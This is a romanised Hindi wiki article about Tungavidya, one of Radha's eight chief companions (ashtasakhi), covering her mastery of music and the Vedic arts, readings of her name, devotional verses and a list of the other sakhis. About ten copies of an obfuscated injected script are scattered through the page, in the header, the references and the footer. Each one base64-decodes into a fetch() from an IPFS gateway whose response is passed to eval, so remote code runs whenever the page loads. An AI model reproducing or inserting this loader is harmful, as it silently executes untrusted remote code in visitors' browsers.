तुंगविद्या सखी

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|200px|tuangavidya sakhi tuangavidya radhaji ki sarvapramukh ashtasakhiyoan mean se ek haian. ye is prakar mahakati haian, jaise chandan ki lak di ke sath kapoor. sakhi tuangavidya radha-krishna ke yugal darabar mean nrity tatha gayan karati haian. ye vina bajane mean siddh haian. inhean gauri maan parvati ka avatar mana jata hai.

  • tuangavidya gopi 18 ved vidyaoan ki jnata hai, gan vidya, natyashastr mean kushal hai, rasashastr mean kushal hai. usake gan ki prakriti ko 'margi sangit' kaha gaya hai. margi ka ek arth to yah ho sakata hai ki isase jivan mean marg ka nirdharan kiya ja sakata hai. doosara arth yah ho sakata hai ki isake dvara marjan karana hai, lokabhasha mean yah maanjana hai. tisara arth yah ho sakata hai ki yah sangit mrig ki avastha hai. yah mrig is sansar mean apane lie bhog adi ki khoj karata rahata hai.[1]
  • tuang shikhar ko kahate haian. aisa ho sakata hai ki tuangavidya apane sanshay ko 18 ved vidyaoan ko janane ke pashchath nasht karati ho.
  • tuangavidya ko yadi tunjavidya kaha jae to vedoan ke anusar isaki vyakhya karana sanbhav ho jata hai. vaidik nighantu mean tunj shabd ka vargikaran vajr namoan ke antargat kiya gaya hai. isaka arth hoga ki apane nishchay ko vajr jaisa dridh sankalp banana hai, jisamean sanshay ka koee sthan n ho. tunjati shabd ka vargikaran danakarma shabdoan ke antargat kiya gaya hai.

tung vidya sab vidya mahi. ati pravin nike avagahi॥
jahaan lagi baje sabai bajavai. ragaragini pragat dikhavai॥
gun ki avadhi kahat nahian avai. chhin-chhin ladili lal ladavai॥
gaur baran chhabi haran man, pandur basan anoop.
kaise baranyo jat hai, yah rasana kari roop॥
manju medha aru medhika, tan madhya mridu baiann.
gunachooda barooangada, madhura madhumay aiann॥
madhu aspanda ati sukhad, madhurechchhana pravin.
nisi din tau ye sab sakhi, rahat prem ras lin॥[2]

any sakhiyaan

radhaji ki paramashreshth sakhiyaan ath mani gayi haian, jinake nam nimnalikhit haian-

  1. lalita
  2. vishakha
  3. champakalata
  4. chitra
  5. tuangavidya
  6. indulekha
  7. rangadevi
  8. sudevi
  • uparokt sakhiyoan mean se 'chitra', 'sudevi', 'tuangavidya' aur 'indulekha' ke sthan par 'sumitra', 'sundari', 'tuangadevi' aur 'indurekha' nam bhi milate haian.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. ashtasakhi (hiandi) puranastudy.angelfire.com. abhigaman tithi: 03 pharavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. "bayalis lila"

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>